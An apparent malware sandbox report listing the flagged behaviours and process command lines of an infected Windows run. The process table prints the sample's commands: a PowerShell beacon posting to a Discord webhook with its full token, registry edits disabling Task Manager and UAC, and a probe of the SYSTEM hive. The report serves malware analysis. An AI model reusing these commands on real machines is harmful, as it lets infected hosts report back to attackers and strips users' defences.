- cmd.exe (PID: 18300)
- cmd.exe (PID: 11352)
- cmd.exe (PID: 8000)
- cmd.exe (PID: 15212)
- cmd.exe (PID: 14544)
- cmd.exe (PID: 13108)
- cmd.exe (PID: 9228)
- cmd.exe (PID: 10408)
- cmd.exe (PID: 15388)
- cmd.exe (PID: 7952)
- cmd.exe (PID: 12588)
- cmd.exe (PID: 14020)
- cmd.exe (PID: 9316)
- cmd.exe (PID: 13764)
- cmd.exe (PID: 17120)
- cmd.exe (PID: 12860)
- cmd.exe (PID: 20496)
- cmd.exe (PID: 16972)
- cmd.exe (PID: 13456)
- cmd.exe (PID: 14380)
- cmd.exe (PID: 18564)
- cmd.exe (PID: 9312)
- cmd.exe (PID: 15044)
- cmd.exe (PID: 6980)
- cmd.exe (PID: 8620)
- cmd.exe (PID: 12712)
- cmd.exe (PID: 16908)
- cmd.exe (PID: 19192)
- cmd.exe (PID: 18852)
- cmd.exe (PID: 19172)
- cmd.exe (PID: 17680)
- cmd.exe (PID: 19612)
- cmd.exe (PID: 19616)
- cmd.exe (PID: 18748)
- cmd.exe (PID: 2492)
- cmd.exe (PID: 20192)
- cmd.exe (PID: 18836)
Executing commands from a ".bat" file
- powershell.exe (PID: 3652)
- cmd.exe (PID: 5708)
- powershell.exe (PID: 12136)
- powershell.exe (PID: 12836)
- powershell.exe (PID: 13064)
- powershell.exe (PID: 12808)
- powershell.exe (PID: 13020)
- powershell.exe (PID: 13096)
- powershell.exe (PID: 8412)
- powershell.exe (PID: 10476)
- powershell.exe (PID: 13164)
- powershell.exe (PID: 13268)
- powershell.exe (PID: 12784)
- powershell.exe (PID: 12424)
- powershell.exe (PID: 12904)
- powershell.exe (PID: 7052)
- powershell.exe (PID: 12928)
- powershell.exe (PID: 13512)
- powershell.exe (PID: 12984)
- powershell.exe (PID: 11708)
- powershell.exe (PID: 9164)
- powershell.exe (PID: 9336)
- powershell.exe (PID: 12324)
- powershell.exe (PID: 7980)
- powershell.exe (PID: 13172)
- powershell.exe (PID: 8960)
- powershell.exe (PID: 10672)
- powershell.exe (PID: 8328)
- powershell.exe (PID: 14044)
- powershell.exe (PID: 10960)
- powershell.exe (PID: 14284)
- powershell.exe (PID: 14120)
- powershell.exe (PID: 13956)
- powershell.exe (PID: 14084)
- powershell.exe (PID: 14300)
- powershell.exe (PID: 14328)
- powershell.exe (PID: 13416)
- powershell.exe (PID: 14680)
- powershell.exe (PID: 17272)
- powershell.exe (PID: 17260)
- powershell.exe (PID: 8104)
- powershell.exe (PID: 16872)
- powershell.exe (PID: 11592)
- powershell.exe (PID: 18140)
- powershell.exe (PID: 16392)
- powershell.exe (PID: 18160)
- powershell.exe (PID: 8156)
- powershell.exe (PID: 8176)
- powershell.exe (PID: 11808)
- powershell.exe (PID: 18172)
- powershell.exe (PID: 13788)
- powershell.exe (PID: 9236)
- powershell.exe (PID: 14048)
- powershell.exe (PID: 15156)
- powershell.exe (PID: 8200)
- powershell.exe (PID: 8396)
- powershell.exe (PID: 11936)
- powershell.exe (PID: 11400)
- powershell.exe (PID: 15120)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 3652)
- cmd.exe (PID: 5708)
- powershell.exe (PID: 12136)
- powershell.exe (PID: 12836)
- powershell.exe (PID: 13064)
- powershell.exe (PID: 12808)
- powershell.exe (PID: 13096)
- powershell.exe (PID: 13020)
- powershell.exe (PID: 8412)
- powershell.exe (PID: 10476)
- powershell.exe (PID: 13164)
- powershell.exe (PID: 13268)
- powershell.exe (PID: 12784)
- powershell.exe (PID: 12424)
- powershell.exe (PID: 12904)
- powershell.exe (PID: 7052)
- powershell.exe (PID: 12928)
- powershell.exe (PID: 13512)
- powershell.exe (PID: 12984)
- powershell.exe (PID: 11708)
- powershell.exe (PID: 9164)
- powershell.exe (PID: 9336)
- powershell.exe (PID: 12324)
- powershell.exe (PID: 7980)
- powershell.exe (PID: 13172)
- powershell.exe (PID: 8960)
- powershell.exe (PID: 10672)
- powershell.exe (PID: 8328)
- powershell.exe (PID: 14044)
- powershell.exe (PID: 10960)
- powershell.exe (PID: 14284)
- powershell.exe (PID: 14120)
- powershell.exe (PID: 13956)
- powershell.exe (PID: 14300)
- powershell.exe (PID: 14084)
- powershell.exe (PID: 14328)
- powershell.exe (PID: 13416)
- powershell.exe (PID: 14680)
- powershell.exe (PID: 17272)
- powershell.exe (PID: 17260)
- powershell.exe (PID: 8104)
- powershell.exe (PID: 11592)
- powershell.exe (PID: 16872)
- powershell.exe (PID: 18140)
- powershell.exe (PID: 16392)
- powershell.exe (PID: 8156)
- powershell.exe (PID: 18160)
- powershell.exe (PID: 8176)
- powershell.exe (PID: 11808)
- powershell.exe (PID: 18172)
- powershell.exe (PID: 13788)
- powershell.exe (PID: 9236)
- powershell.exe (PID: 14048)
- powershell.exe (PID: 15156)
- powershell.exe (PID: 8200)
- powershell.exe (PID: 8396)
- powershell.exe (PID: 11936)
- powershell.exe (PID: 11400)
- powershell.exe (PID: 15120)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 5708)
- cmd.exe (PID: 6232)
- cmd.exe (PID: 4644)
- cmd.exe (PID: 6948)
- cmd.exe (PID: 4312)
- cmd.exe (PID: 3948)
- cmd.exe (PID: 2864)
- cmd.exe (PID: 2216)
- cmd.exe (PID: 2188)
- cmd.exe (PID: 4836)
- cmd.exe (PID: 3148)
- cmd.exe (PID: 7092)
- cmd.exe (PID: 5456)
- cmd.exe (PID: 2140)
- cmd.exe (PID: 4892)
- cmd.exe (PID: 5348)
- cmd.exe (PID: 1896)
- cmd.exe (PID: 7452)
- cmd.exe (PID: 7268)
- cmd.exe (PID: 7336)
- cmd.exe (PID: 7408)
- cmd.exe (PID: 7616)
- cmd.exe (PID: 7852)
- cmd.exe (PID: 7756)
- cmd.exe (PID: 8080)
- cmd.exe (PID: 7368)
- cmd.exe (PID: 7436)
- cmd.exe (PID: 8400)
- cmd.exe (PID: 8644)
- cmd.exe (PID: 8868)
- cmd.exe (PID: 9744)
- cmd.exe (PID: 8900)
- cmd.exe (PID: 9788)
- cmd.exe (PID: 10628)
- cmd.exe (PID: 10268)
- cmd.exe (PID: 11928)
- cmd.exe (PID: 11888)
- cmd.exe (PID: 11600)
- cmd.exe (PID: 12260)
- cmd.exe (PID: 12300)
- cmd.exe (PID: 7160)
- cmd.exe (PID: 8508)
- cmd.exe (PID: 12828)
- cmd.exe (PID: 12236)
- cmd.exe (PID: 13748)
- cmd.exe (PID: 14704)
- cmd.exe (PID: 15480)
- cmd.exe (PID: 3564)
- cmd.exe (PID: 16276)
- cmd.exe (PID: 16704)
- cmd.exe (PID: 17588)
- cmd.exe (PID: 12248)
- cmd.exe (PID: 15740)
- cmd.exe (PID: 3740)
- cmd.exe (PID: 16580)
- cmd.exe (PID: 17232)
- cmd.exe (PID: 18276)
- cmd.exe (PID: 18212)
- cmd.exe (PID: 9160)
- cmd.exe (PID: 15332)
- cmd.exe (PID: 18428)
- cmd.exe (PID: 17580)
- cmd.exe (PID: 16756)
- cmd.exe (PID: 17872)
- cmd.exe (PID: 3752)
- cmd.exe (PID: 8496)
- cmd.exe (PID: 16332)
- cmd.exe (PID: 13300)
- cmd.exe (PID: 11504)
- cmd.exe (PID: 13440)
- cmd.exe (PID: 10640)
- cmd.exe (PID: 17472)
- cmd.exe (PID: 17960)
- cmd.exe (PID: 17556)
- cmd.exe (PID: 16344)
- cmd.exe (PID: 13040)
- cmd.exe (PID: 7056)
- cmd.exe (PID: 12532)
- cmd.exe (PID: 9116)
- cmd.exe (PID: 8268)
- cmd.exe (PID: 3780)
- cmd.exe (PID: 17596)
- cmd.exe (PID: 7708)
- cmd.exe (PID: 13560)
- cmd.exe (PID: 7988)
- cmd.exe (PID: 13436)
- cmd.exe (PID: 8072)
- cmd.exe (PID: 7448)
- cmd.exe (PID: 14052)
- cmd.exe (PID: 17564)
- cmd.exe (PID: 13192)
- cmd.exe (PID: 14104)
- cmd.exe (PID: 13548)
- cmd.exe (PID: 14248)
- cmd.exe (PID: 14484)
- cmd.exe (PID: 17452)
- cmd.exe (PID: 9096)
- cmd.exe (PID: 8704)
- cmd.exe (PID: 8832)
- cmd.exe (PID: 13228)
- cmd.exe (PID: 13036)
- cmd.exe (PID: 8000)
- cmd.exe (PID: 15212)
- cmd.exe (PID: 9228)
- cmd.exe (PID: 10408)
- cmd.exe (PID: 15388)
- cmd.exe (PID: 12588)
- cmd.exe (PID: 7952)
- cmd.exe (PID: 9316)
- cmd.exe (PID: 14020)
- cmd.exe (PID: 17120)
- cmd.exe (PID: 16972)
- cmd.exe (PID: 13456)
- cmd.exe (PID: 14380)
- cmd.exe (PID: 9312)
- cmd.exe (PID: 15044)
- cmd.exe (PID: 12712)
- cmd.exe (PID: 16908)
- cmd.exe (PID: 19192)
- cmd.exe (PID: 19172)
- cmd.exe (PID: 18748)
- cmd.exe (PID: 19616)
- cmd.exe (PID: 20192)
- cmd.exe (PID: 18836)
Uses REG/REGEDIT.EXE to modify registry
- cmd.exe (PID: 5708)
- cmd.exe (PID: 4312)
- cmd.exe (PID: 6232)
- cmd.exe (PID: 3948)
- cmd.exe (PID: 2216)
- cmd.exe (PID: 4644)
- cmd.exe (PID: 4836)
- cmd.exe (PID: 6948)
- cmd.exe (PID: 5348)
- cmd.exe (PID: 2864)
- cmd.exe (PID: 7092)
- cmd.exe (PID: 2188)
- cmd.exe (PID: 5456)
- cmd.exe (PID: 4892)
- cmd.exe (PID: 3148)
- cmd.exe (PID: 1896)
- cmd.exe (PID: 2140)
- cmd.exe (PID: 7452)
- cmd.exe (PID: 7408)
- cmd.exe (PID: 7268)
- cmd.exe (PID: 7616)
- cmd.exe (PID: 7336)
- cmd.exe (PID: 7756)
- cmd.exe (PID: 8080)
- cmd.exe (PID: 7852)
- cmd.exe (PID: 7368)
- cmd.exe (PID: 8400)
- cmd.exe (PID: 7436)
- cmd.exe (PID: 8644)
- cmd.exe (PID: 8868)
- cmd.exe (PID: 10628)
- cmd.exe (PID: 9744)
- cmd.exe (PID: 8900)
- cmd.exe (PID: 9788)
- cmd.exe (PID: 11928)
- cmd.exe (PID: 10268)
- cmd.exe (PID: 11888)
- cmd.exe (PID: 12300)
- cmd.exe (PID: 12260)
- cmd.exe (PID: 7160)
- cmd.exe (PID: 11600)
- cmd.exe (PID: 8508)
- cmd.exe (PID: 12828)
- cmd.exe (PID: 13748)
- cmd.exe (PID: 12236)
- cmd.exe (PID: 14704)
- cmd.exe (PID: 15480)
- cmd.exe (PID: 3564)
- cmd.exe (PID: 17588)
- cmd.exe (PID: 12248)
- cmd.exe (PID: 16704)
- cmd.exe (PID: 16276)
- cmd.exe (PID: 15740)
- cmd.exe (PID: 18276)
- cmd.exe (PID: 3752)
- cmd.exe (PID: 16756)
- cmd.exe (PID: 16580)
- cmd.exe (PID: 18428)
- cmd.exe (PID: 12532)
- cmd.exe (PID: 17232)
- cmd.exe (PID: 17556)
- cmd.exe (PID: 15332)
- cmd.exe (PID: 17872)
- cmd.exe (PID: 9160)
- cmd.exe (PID: 3740)
- cmd.exe (PID: 17580)
- cmd.exe (PID: 18212)
- cmd.exe (PID: 13300)
- cmd.exe (PID: 17472)
- cmd.exe (PID: 11504)
- cmd.exe (PID: 17960)
Reads security settings of Internet Explorer
- ShellExperienceHost.exe (PID: 5712)
The process connected to a server suspected of theft
- powershell.exe (PID: 436)
- powershell.exe (PID: 7832)
- powershell.exe (PID: 7480)
- powershell.exe (PID: 7916)
- powershell.exe (PID: 8172)
- powershell.exe (PID: 7288)
- powershell.exe (PID: 8064)
- powershell.exe (PID: 8140)
- powershell.exe (PID: 8224)
- powershell.exe (PID: 9144)
- powershell.exe (PID: 8804)
- powershell.exe (PID: 8720)
- powershell.exe (PID: 9872)
- powershell.exe (PID: 8312)
- powershell.exe (PID: 9576)
- powershell.exe (PID: 10388)
- powershell.exe (PID: 10996)
- powershell.exe (PID: 11756)
- powershell.exe (PID: 11424)
- powershell.exe (PID: 11476)
- powershell.exe (PID: 11800)
- powershell.exe (PID: 12032)
- powershell.exe (PID: 7600)
- powershell.exe (PID: 13076)
- powershell.exe (PID: 4828)
- powershell.exe (PID: 13660)
- powershell.exe (PID: 13920)
- powershell.exe (PID: 15504)
- powershell.exe (PID: 16048)
- powershell.exe (PID: 15008)
- powershell.exe (PID: 15244)
- powershell.exe (PID: 16636)
- powershell.exe (PID: 17780)
- powershell.exe (PID: 18384)
- powershell.exe (PID: 13208)
- powershell.exe (PID: 4012)
- powershell.exe (PID: 14880)
- powershell.exe (PID: 15936)
- powershell.exe (PID: 8904)
- powershell.exe (PID: 18268)
- powershell.exe (PID: 15816)
- powershell.exe (PID: 8384)
- powershell.exe (PID: 9800)
- powershell.exe (PID: 13896)
- powershell.exe (PID: 9928)
- powershell.exe (PID: 11000)
- powershell.exe (PID: 7404)
- powershell.exe (PID: 10132)
- powershell.exe (PID: 16792)
- powershell.exe (PID: 5416)
- powershell.exe (PID: 17072)
- powershell.exe (PID: 16288)
- powershell.exe (PID: 8520)
- powershell.exe (PID: 17044)
- powershell.exe (PID: 13684)
- powershell.exe (PID: 18928)
- powershell.exe (PID: 10608)
- powershell.exe (PID: 4072)
- powershell.exe (PID: 12744)
- powershell.exe (PID: 18084)
Windows service management via SC.EXE
- sc.exe (PID: 3876)
Starts SC.EXE for service management
- cmd.exe (PID: 5708)
Application launched itself
- cmd.exe (PID: 5708)
Suspicious use of NETSH.EXE
- cmd.exe (PID: 5708)
- cmd.exe (PID: 4312)
- cmd.exe (PID: 6232)
- cmd.exe (PID: 4644)
- cmd.exe (PID: 2216)
- cmd.exe (PID: 4836)
- cmd.exe (PID: 3948)
- cmd.exe (PID: 6948)
- cmd.exe (PID: 5348)
- cmd.exe (PID: 5456)
- cmd.exe (PID: 2864)
- cmd.exe (PID: 2188)
- cmd.exe (PID: 7092)
- cmd.exe (PID: 3148)
- cmd.exe (PID: 2140)
- cmd.exe (PID: 7408)
- cmd.exe (PID: 4892)
- cmd.exe (PID: 7268)
- cmd.exe (PID: 7452)
- cmd.exe (PID: 1896)
INFO
Disables trace logs
- powershell.exe (PID: 436)
- netsh.exe (PID: 4320)
- powershell.exe (PID: 7480)
- powershell.exe (PID: 7832)
- powershell.exe (PID: 7916)
- powershell.exe (PID: 8172)
- powershell.exe (PID: 7608)
- powershell.exe (PID: 7816)
- powershell.exe (PID: 7288)
- powershell.exe (PID: 8064)
- powershell.exe (PID: 6148)
- powershell.exe (PID: 8444)
- powershell.exe (PID: 8140)
- powershell.exe (PID: 8224)
- powershell.exe (PID: 8324)
- powershell.exe (PID: 8804)
- powershell.exe (PID: 9144)
- powershell.exe (PID: 8720)
- powershell.exe (PID: 9872)
- powershell.exe (PID: 8312)
- powershell.exe (PID: 9576)
- powershell.exe (PID: 10996)
- powershell.exe (PID: 10388)
- powershell.exe (PID: 11476)
- powershell.exe (PID: 11424)
- powershell.exe (PID: 11756)
- powershell.exe (PID: 11800)
- powershell.exe (PID: 12032)
- powershell.exe (PID: 7600)
- powershell.exe (PID: 12464)
- powershell.exe (PID: 13076)
- powershell.exe (PID: 13660)
- powershell.exe (PID: 4828)
- powershell.exe (PID: 9100)
- powershell.exe (PID: 13920)
- powershell.exe (PID: 16048)
- powershell.exe (PID: 15504)
- powershell.exe (PID: 15008)
- powershell.exe (PID: 16636)
- powershell.exe (PID: 15244)
- powershell.exe (PID: 17244)
- powershell.exe (PID: 7324)
- powershell.exe (PID: 17780)
- powershell.exe (PID: 18384)
- powershell.exe (PID: 13208)
- powershell.exe (PID: 4012)
- powershell.exe (PID: 14880)
- powershell.exe (PID: 15936)
- powershell.exe (PID: 8904)
- powershell.exe (PID: 18268)
- powershell.exe (PID: 8384)
- powershell.exe (PID: 15816)
- powershell.exe (PID: 9800)
- powershell.exe (PID: 13896)
- powershell.exe (PID: 11000)
- netsh.exe (PID: 21100)
- powershell.exe (PID: 14000)
- powershell.exe (PID: 9928)
- powershell.exe (PID: 7404)
- powershell.exe (PID: 10132)
- powershell.exe (PID: 16792)
- powershell.exe (PID: 13688)
- powershell.exe (PID: 9560)
- powershell.exe (PID: 5416)
- netsh.exe (PID: 18068)
- powershell.exe (PID: 17148)
- netsh.exe (PID: 21508)
- netsh.exe (PID: 22084)
- netsh.exe (PID: 22332)
- netsh.exe (PID: 22316)
- powershell.exe (PID: 17072)
- powershell.exe (PID: 12148)
- powershell.exe (PID: 11372)
- powershell.exe (PID: 16288)
- powershell.exe (PID: 16640)
- powershell.exe (PID: 13684)
- netsh.exe (PID: 22436)
- netsh.exe (PID: 2388)
- netsh.exe (PID: 5116)
- powershell.exe (PID: 10940)
- powershell.exe (PID: 9700)
- powershell.exe (PID: 16712)
- powershell.exe (PID: 18928)
- powershell.exe (PID: 14808)
- powershell.exe (PID: 18812)
- netsh.exe (PID: 14632)
- powershell.exe (PID: 19384)
- netsh.exe (PID: 12820)
- netsh.exe (PID: 18808)
- powershell.exe (PID: 4072)
- powershell.exe (PID: 10608)
- powershell.exe (PID: 12744)
- powershell.exe (PID: 10496)
- powershell.exe (PID: 7364)
- powershell.exe (PID: 18484)
- netsh.exe (PID: 13516)
- powershell.exe (PID: 18084)
- powershell.exe (PID: 19124)
- powershell.exe (PID: 19376)
- powershell.exe (PID: 4456)
- powershell.exe (PID: 19184)
Checks proxy server information
- powershell.exe (PID: 436)
- powershell.exe (PID: 7480)
- powershell.exe (PID: 7832)
- powershell.exe (PID: 7916)
- powershell.exe (PID: 8172)
- powershell.exe (PID: 7608)
- powershell.exe (PID: 7288)
- powershell.exe (PID: 7816)
- powershell.exe (PID: 8064)
- powershell.exe (PID: 6148)
- powershell.exe (PID: 8140)
- powershell.exe (PID: 8444)
- powershell.exe (PID: 8224)
- powershell.exe (PID: 8324)
- powershell.exe (PID: 8804)
- powershell.exe (PID: 9144)
- powershell.exe (PID: 8720)
- powershell.exe (PID: 9872)
- powershell.exe (PID: 8312)
- powershell.exe (PID: 9576)
- powershell.exe (PID: 10996)
- powershell.exe (PID: 10388)
- powershell.exe (PID: 11476)
- powershell.exe (PID: 11424)
- powershell.exe (PID: 11756)
- powershell.exe (PID: 11800)
- powershell.exe (PID: 12032)
- powershell.exe (PID: 7600)
- powershell.exe (PID: 13076)
- powershell.exe (PID: 13660)
- powershell.exe (PID: 9100)
- powershell.exe (PID: 4828)
- powershell.exe (PID: 13920)
- powershell.exe (PID: 16048)
- powershell.exe (PID: 15504)
- powershell.exe (PID: 15008)
- powershell.exe (PID: 15244)
- powershell.exe (PID: 16636)
- powershell.exe (PID: 17244)
- powershell.exe (PID: 7324)
- powershell.exe (PID: 17780)
- powershell.exe (PID: 18384)
- powershell.exe (PID: 13208)
- powershell.exe (PID: 4012)
- powershell.exe (PID: 14880)
- powershell.exe (PID: 15936)
- powershell.exe (PID: 8904)
- powershell.exe (PID: 18268)
- powershell.exe (PID: 8384)
- powershell.exe (PID: 15816)
- powershell.exe (PID: 9800)
- slui.exe (PID: 11332)
- powershell.exe (PID: 13896)
- powershell.exe (PID: 14000)
- powershell.exe (PID: 7404)
- powershell.exe (PID: 11000)
- powershell.exe (PID: 9928)
- powershell.exe (PID: 10132)
- powershell.exe (PID: 9560)
- powershell.exe (PID: 13688)
- powershell.exe (PID: 5416)
- powershell.exe (PID: 16792)
- powershell.exe (PID: 17148)
- powershell.exe (PID: 12148)
- powershell.exe (PID: 11372)
- powershell.exe (PID: 17072)
- powershell.exe (PID: 17044)
- powershell.exe (PID: 16640)
- powershell.exe (PID: 11792)
- powershell.exe (PID: 9140)
- powershell.exe (PID: 16192)
- powershell.exe (PID: 10136)
- powershell.exe (PID: 13600)
- powershell.exe (PID: 9700)
- powershell.exe (PID: 13684)
- powershell.exe (PID: 16712)
- powershell.exe (PID: 18928)
- powershell.exe (PID: 14808)
- powershell.exe (PID: 10940)
- powershell.exe (PID: 18812)
- powershell.exe (PID: 19384)
- powershell.exe (PID: 10608)
- powershell.exe (PID: 12744)
- powershell.exe (PID: 4072)
- powershell.exe (PID: 10496)
- powershell.exe (PID: 19376)
- powershell.exe (PID: 19124)
- powershell.exe (PID: 7364)
- powershell.exe (PID: 18484)
- powershell.exe (PID: 18084)
- powershell.exe (PID: 4456)
- powershell.exe (PID: 19184)
Reads mouse settings
- reg.exe (PID: 1496)
- reg.exe (PID: 13504)
- reg.exe (PID: 8284)
- reg.exe (PID: 15208)
- reg.exe (PID: 15032)
- reg.exe (PID: 14188)
- reg.exe (PID: 10528)
- reg.exe (PID: 15792)
- reg.exe (PID: 16236)
- reg.exe (PID: 16336)
- reg.exe (PID: 15668)
- reg.exe (PID: 15244)
- reg.exe (PID: 16516)
- reg.exe (PID: 16340)
- reg.exe (PID: 17172)
- reg.exe (PID: 16784)
- reg.exe (PID: 15204)
- reg.exe (PID: 17024)
- reg.exe (PID: 1964)
- reg.exe (PID: 8396)
- reg.exe (PID: 15520)
- reg.exe (PID: 18392)
- reg.exe (PID: 13912)
- reg.exe (PID: 4456)
- reg.exe (PID: 13036)
- reg.exe (PID: 15820)
- reg.exe (PID: 9724)
- reg.exe (PID: 9948)
- reg.exe (PID: 9056)
- reg.exe (PID: 10608)
- reg.exe (PID: 12208)
- reg.exe (PID: 10984)
- reg.exe (PID: 8660)
- reg.exe (PID: 18960)
- reg.exe (PID: 12876)
- reg.exe (PID: 20352)
- reg.exe (PID: 8924)
- reg.exe (PID: 20780)
- reg.exe (PID: 5476)
- reg.exe (PID: 17436)
- reg.exe (PID: 14100)
- reg.exe (PID: 21996)
- reg.exe (PID: 22276)
- reg.exe (PID: 21860)
- reg.exe (PID: 7244)
- reg.exe (PID: 18092)
- reg.exe (PID: 9440)
- reg.exe (PID: 13584)
- reg.exe (PID: 18596)
- reg.exe (PID: 9948)
- reg.exe (PID: 16132)
Checks supported languages
- ShellExperienceHost.exe (PID: 5712)
Launching a file from the Startup directory
- cmd.exe (PID: 5708)
Reads the computer name
- ShellExperienceHost.exe (PID: 5712)
Manual execution by a user
- cmd.exe (PID: 8792)
- cmd.exe (PID: 8860)
- cmd.exe (PID: 8336)
- cmd.exe (PID: 8996)
- cmd.exe (PID: 9068)
- cmd.exe (PID: 9152)
- cmd.exe (PID: 8468)
- cmd.exe (PID: 8564)
- cmd.exe (PID: 8820)
- cmd.exe (PID: 8500)
- cmd.exe (PID: 9220)
- cmd.exe (PID: 9304)
- cmd.exe (PID: 9404)
- cmd.exe (PID: 9448)
- cmd.exe (PID: 9488)
- cmd.exe (PID: 9624)
- cmd.exe (PID: 9652)
- cmd.exe (PID: 9716)
- cmd.exe (PID: 10032)
- cmd.exe (PID: 8352)
- cmd.exe (PID: 9740)
- cmd.exe (PID: 10072)
- cmd.exe (PID: 9936)
- cmd.exe (PID: 9680)
- cmd.exe (PID: 9824)
- cmd.exe (PID: 10360)
- rundll32.exe (PID: 10432)
- cmd.exe (PID: 9808)
- cmd.exe (PID: 9924)
- cmd.exe (PID: 10860)
- cmd.exe (PID: 10968)
- cmd.exe (PID: 11084)
- cmd.exe (PID: 11232)
- rundll32.exe (PID: 10444)
- rundll32.exe (PID: 10464)
- cmd.exe (PID: 10808)
- cmd.exe (PID: 12052)
- cmd.exe (PID: 12160)
- cmd.exe (PID: 12168)
- cmd.exe (PID: 13292)
- cmd.exe (PID: 12152)
- cmd.exe (PID: 13196)
- cmd.exe (PID: 7732)
- cmd.exe (PID: 10868)
- cmd.exe (PID: 8940)
- cmd.exe (PID: 7184)
- cmd.exe (PID: 12572)
- cmd.exe (PID: 15220)
- cmd.exe (PID: 15708)
- cmd.exe (PID: 15716)
- cmd.exe (PID: 7556)
- cmd.exe (PID: 15312)
- cmd.exe (PID: 16664)
- cmd.exe (PID: 13744)
- cmd.exe (PID: 16832)
- cmd.exe (PID: 18252)
- cmd.exe (PID: 18240)
- cmd.exe (PID: 17216)
- cmd.exe (PID: 7612)
- cmd.exe (PID: 14060)
- cmd.exe (PID: 8936)
- cmd.exe (PID: 17852)
- cmd.exe (PID: 14340)
- cmd.exe (PID: 9296)
- cmd.exe (PID: 18300)
- cmd.exe (PID: 10724)
- cmd.exe (PID: 11352)
- cmd.exe (PID: 13108)
- cmd.exe (PID: 14544)
- cmd.exe (PID: 13764)
- cmd.exe (PID: 12860)
- cmd.exe (PID: 18564)
- cmd.exe (PID: 18852)
- cmd.exe (PID: 6980)
- cmd.exe (PID: 8620)
- cmd.exe (PID: 20496)
- cmd.exe (PID: 2492)
- cmd.exe (PID: 17680)
- cmd.exe (PID: 21304)
- cmd.exe (PID: 18972)
- cmd.exe (PID: 22516)
- cmd.exe (PID: 20108)
- cmd.exe (PID: 19612)
- cmd.exe (PID: 14556)
- cmd.exe (PID: 21996)
- cmd.exe (PID: 21064)
- cmd.exe (PID: 8684)
- cmd.exe (PID: 16444)
Reads security settings of Internet Explorer
- rundll32.exe (PID: 10444)
Reads Microsoft Office registry keys
- rundll32.exe (PID: 10444)
Attempting to use instant messaging service
- powershell.exe (PID: 8172)
- powershell.exe (PID: 8720)
- powershell.exe (PID: 10388)
- powershell.exe (PID: 11424)
- powershell.exe (PID: 11756)
- powershell.exe (PID: 7600)
- powershell.exe (PID: 9100)
- powershell.exe (PID: 13660)
- powershell.exe (PID: 16636)
- powershell.exe (PID: 17780)
- powershell.exe (PID: 4012)
- powershell.exe (PID: 14880)
- powershell.exe (PID: 15936)
- powershell.exe (PID: 8904)
- powershell.exe (PID: 8384)
- powershell.exe (PID: 15816)
- powershell.exe (PID: 9800)
- powershell.exe (PID: 13896)
- powershell.exe (PID: 11000)
- powershell.exe (PID: 7404)
- powershell.exe (PID: 13688)
- powershell.exe (PID: 16792)
- powershell.exe (PID: 8520)
- powershell.exe (PID: 16640)
- powershell.exe (PID: 11792)
- powershell.exe (PID: 10136)
- powershell.exe (PID: 12744)
- powershell.exe (PID: 4072)
Reads the software policy settings
- slui.exe (PID: 11332)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
1 512
Monitored processes
1 317
Malicious processes
291
Suspicious processes
120
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 436 | powershell -NoProfile -Command "$webhook = 'https://discord.com/api/webhooks/1385864776902774865/NxFnzjTjNF0AFMRMbF63CBItfiGK1xQaLlpolNP5QAbGKVfs4h48tJsrLB-XoxUgYlA1';" "$body = @{ content = 'RAN' };" "Invoke-RestMethod -Uri $webhook -Method Post -Body $body -ContentType 'application/x-www-form-urlencoded'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 724 | REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f | C:\Windows\System32\reg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Registry Console Tool Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 856 | "C:\WINDOWS\system32\cacls.exe" "C:\WINDOWS\system32\config\system" | C:\Windows\System32\cacls.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Control ACLs Program Exit code: 5 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1044 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f | C:\Windows\System32\reg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1080 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1096 | REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f | C:\Windows\System32\reg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1096 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1128 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1212 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1324 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
